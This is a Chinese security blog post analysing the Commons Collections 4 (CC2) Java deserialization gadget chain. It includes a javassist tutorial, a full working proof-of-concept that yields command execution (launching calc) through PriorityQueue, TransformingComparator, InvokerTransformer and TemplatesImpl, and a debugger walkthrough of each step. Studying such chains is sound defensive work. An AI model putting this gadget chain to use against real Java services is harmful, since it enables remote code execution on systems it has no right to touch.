commons-collections反序列化利用链分析(2)

admin 2022年3月4日09:55:55评论46 views字数 7765阅读25分53秒阅读模式

环境搭建

利用ysoserial源码搭建

javassist

这个反序列化利用链的分析需要先了解一个基础知识:javassist

javassist是一个用来处理java字节码的类库,可以用它生成一个类,并可以对类的字段、方法、构造方法,初始化代码块等进行修改。

举例:

package ysoserial.javassist;import javassist.*;import java.lang.reflect.Method;
public class TestJavassist { public static void createStudent() throws Exception { // 获取默认ClassPool ClassPool pool = ClassPool.getDefault();
// 创建一个空类
CtClass cc = pool.makeClass("ysoserial.javassist.Student");
// 添加name字段 CtField param = new CtField(pool.get("java.lang.String"), "name", cc); // 设置name字段访问权限为private param.setModifiers(Modifier.PRIVATE); // name字段添加初始值xiaoming cc.addField(param, CtField.Initializer.constant("xiaoming"));
// 生成 getter、setter 方法 cc.addMethod(CtNewMethod.setter("setName", param)); cc.addMethod(CtNewMethod.getter("getName", param));
// 添加无参的构造函数 CtConstructor cons = new CtConstructor(new CtClass[]{}, cc); cons.setBody("{name = "xiaohong";}"); cc.addConstructor(cons);
//添加有参的构造函数 cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc); // $0=this / $1,$2,$3... 代表方法参数 cons.setBody("{$0.name = $1;}"); cc.addConstructor(cons);
// 创建一个名为printName方法,无参数,无返回值,输出name值 CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc); ctMethod.setModifiers(Modifier.PUBLIC); ctMethod.setBody("{System.out.println(name);}"); cc.addMethod(ctMethod);
Class cla = cc.toClass(); Object student = cla.newInstance(); student.getClass();// Object student = cc.toClass().newInstance(); Method setName = student.getClass().getMethod("setName", String.class); setName.invoke(student, ""); // 输出值 Method execute = student.getClass().getMethod("printName"); execute.invoke(student);
}
public static void main(String[] args) { try { createStudent(); } catch (Exception e) { e.printStackTrace(); } }}


poc

package ysoserial.payloads;
import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;

public class Common_CC2 { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault(); //返回默认的classpool classPool.appendClassPath(AbstractTranslet); //添加AbstractTranslet的搜索路径 CtClass payload=classPool.makeClass("CommonsCollections22222222222");//創建一個新的public類 payload.setSuperclass(classPool.get(AbstractTranslet)); //设置创建的CommonsCollections22222222222类的父类为AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");"); //创建类的初始化代码块,在代码块里执行命令
// payload.writeFile("E:/ysoserial-master/src/main/java/");
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射創建TemplatesImpl Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段 field.setAccessible(true); field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes字段設置為runtime的byte數組
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name字段 field1.setAccessible(true); field1.set(templatesImpl,"test");//將templatesImpl上的_name字段設置為test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修飾器傳入transformer對象

PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量創建一個 PriorityQueue,並根據其自然順序對元素進行排序。 queue.add(1);//添加數字1插入此優先級隊列 queue.add(1);//添加數字1插入此優先級隊列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段 field2.setAccessible(true); field2.set(queue,comparator);//設置queue的comparator字段值為comparator
Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue字段 field3.setAccessible(true); field3.set(queue,new Object[]{templatesImpl,templatesImpl});//設置queue的queue字段內容Object數組,內容為templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(queue); outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject();
}}



漏洞触发点

这个利用链的触发点也是在InvokerTransformer#transform方法的反射代码上

commons-collections反序列化利用链分析(2)

上图标记的代码其实就是反射调用inputthis.iMrthodName方法,可以写成如下形式:

input.getClass().getMethod(this.iMethodName, this.iParamTypes).invoke(input, this.iArgs)

iMethodNameiParamTypesiArgs成原变量会在InvokerTransformer类的构造方法中赋值。

commons-collections反序列化利用链分析(2)

总思路如下,分为2大步:

1.找到一条链让我们可以利用这段反射代码反射调用我们期望的某个类的某个方法,方便下文理解,这一步叫做控制反射.
2.反射调用的那个方法中,可以执行恶意操作,这一步叫做执行命令。

利用链分析

控制反射利用链

InvokerTransformer#transform方法中打断点,利用poc调试一下,看到调用栈如下:

commons-collections反序列化利用链分析(2)

根据调用栈可以看到Priority#readobject会调用heapify()方法。

commons-collections反序列化利用链分析(2)

heapify()方法会调用循环调用siftDown方法,第一次调用传入的第二个参数是queue这个数组的第一个元素

commons-collections反序列化利用链分析(2)

siftDown方法中,如果comparator不为空才会调用siftDownUsingComparator方法,所以poc中才会反射获取comparator成员变量,并赋值(也就是传入比较器)

commons-collections反序列化利用链分析(2)

commons-collections反序列化利用链分析(2)

siftDownUsingComparator方法中,会获取queue成员变量的第二个元素,然后调用比较器(comparator成员变量)的compare方法对queue中的两个元素进行比较。

commons-collections反序列化利用链分析(2)

commons-collections反序列化利用链分析(2)

所以要调用到TransformingComparator#compare方法中,必须PriorityQueuecomparator成员变量为TransformingComparator的对象,因此poc中通过反射为comparator成员变量赋值。

commons-collections反序列化利用链分析(2)

TransformingComparator#compare方法中,如果TransformingComparator对象的transformer成员变量是一个invokerTransformer的对象,那么,就会调用InvokerTransformer#transform

commons-collections反序列化利用链分析(2)

我们可以利用TransformingComparator构造方法中对成员变量transformer赋值

commons-collections反序列化利用链分析(2)

总结一下控制反射步骤如下:

  • 1.新建一个容量为2的PriorityQueue对象(优先级队列)

  • 2.为PriorityQueue对象的queuecomparator成员变量赋值,queue是一个Object的数组

  • 3.PriorityQueue对象反序列化过程中会调用heapify方法,导致会对queue中的两个元素进行比较,因为comparator不为空,所以会在siftDownUsingComparator方法中调用comparator的compare方法。poc中使用反射为comparator赋值。

  • 4.当compatator是一个TransformingComparator的对象时就会调用该对象的compare方法。

  • 5.当TransformingComparator对象的transformer成员变量是一个InvokerTransformer对象时就会调用到漏洞InvokerTransformer.transform(obj1)进行反射调用,obj1就是queue数组的第一个元素。poc中通过TransformingComparator的构造方法对transformer成员变量进行赋值。

  • 6.InvokerTransformer#transform会根据中会反射调用obj1的iMethodName方法,参数列表是iArgs。poc中iMethodName、iArgs在InvokerTransformer的构造方法中赋值。obj1、iMethodName、iArgs都是可以控制的

命令执行利用链

接下来再看一下是反射之后的调用栈:

commons-collections反序列化利用链分析(2)

根据调用栈可以看到Invokertransformer#transform方法中反射调用了Templatesimpl#newTransformer方法。

newTransformer方法中调用了getTransletInstance()方法

commons-collections反序列化利用链分析(2)

getTransletInstance()方法中newinstance方法创建实例后就执行了命令,所以_class[_transletIndex]一定是一个和AbstractTranslet类有继承关系的类的Class对象。

commons-collections反序列化利用链分析(2)

我们看一下_class赋值的地方,当_name不为空且_class为空(所以poc设置了_name),才会调用defineTransletClasses()方法。

commons-collections反序列化利用链分析(2)

defineTransletClasses()方法中,会通过类加载器的defineClass方法将字节流还原成一个Class对象。

commons-collections反序列化利用链分析(2)

可以看到defineTransletClasses()后的到_class[_transletIndex]是poc中创建的CommonsCollections22222222222类的Class对象,newinstace创建实例时会执行该类静态代码块,所以导致了命令执行。

commons-collections反序列化利用链分析(2)

总结一下,分为4个步骤:

  • 利用InvokerTransformer#transform中的反射代码反射调用Templatesimpl类的newTransformer方法,所以queue[0]是一个Templatesimpl对象,iMethodName是newTransformer

  • Templatesimpl#newTransformer中调用Templatesimpl#getTransletInstance

  • getTransletInstance方法中先将Templatesimpl的成员变量_bytecode(CommonsCollections22222222222的字节码)还原出一个Class对象。

  • 然后还是在通过newinstance()方法创建了一个CommonsCollections22222222222实例,创建实例会执行该类的初始化代码块,所以导致了命令执行。

poc中使用javasisist创建了一个AbstractTranslet的子类CommonsCollections22222222222,并为该类添加静态初始化代码块(命令执行的payload就在这里),然后将该类转换为字节码,并赋值给Templatesimpl对象的_bytecodes

CommonsCollections22222222222类如下所示

commons-collections反序列化利用链分析(2)

思考

1.poc中新建了PriorityQueue对象后,为什么要add两次?

commons-collections反序列化利用链分析(2)

要搞清楚这个问题首先要明白在PriorityQueue类中的size属性代表什么?

new Prioricity对象传入的数字2代表优先级对列的容量是2,而size代表的是已经传入了几个元素,可以看一下add一次和add两次的区别

commons-collections反序列化利用链分析(2)

commons-collections反序列化利用链分析(2)

再看一下add的时候都做了什么,add中会调offer,每插入一个元素的时候会size会加1,所以反射去修改queue是只添加进去元素,并不会改变size。

commons-collections反序列化利用链分析(2)

只add一次时。在反序列化过程中调用heapify方法时会由于size为1,不满足条件直接退出,所以无法触发漏洞。

commons-collections反序列化利用链分析(2)

2.PriorityQueuequeue成员变量,标注了transient为什么还可以序列化。

commons-collections反序列化利用链分析(2)

调试发现在自定义的序列化方法中,会遍历queue中添加进去的每一个元素进行序列化。

commons-collections反序列化利用链分析(2)

自定义的反序列化方法中,会将queu数组中序列化好的每一个元素还原

commons-collections反序列化利用链分析(2)

这样做的好处在于节省时间和存储资源。如果PriorityQueue对象的容量为20,但是现在只添加了2个元素在queue数组中,其他的都为null。如果使用默认的序列化,数组的20个元素都会被序列化,这就浪费了时间和存储资源,所以对其使用自定义的序列化,只序列化那两个有效值。

参考链接

(https://github.com/frohoff/ysoserial)

javassist使用全解析

Java安全之Commons Collections2分析


原文始发于微信公众号(雁行安全团队):commons-collections反序列化利用链分析(2)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月4日09:55:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   commons-collections反序列化利用链分析(2)https://cn-sec.com/archives/814976.html

发表评论

匿名网友 填写信息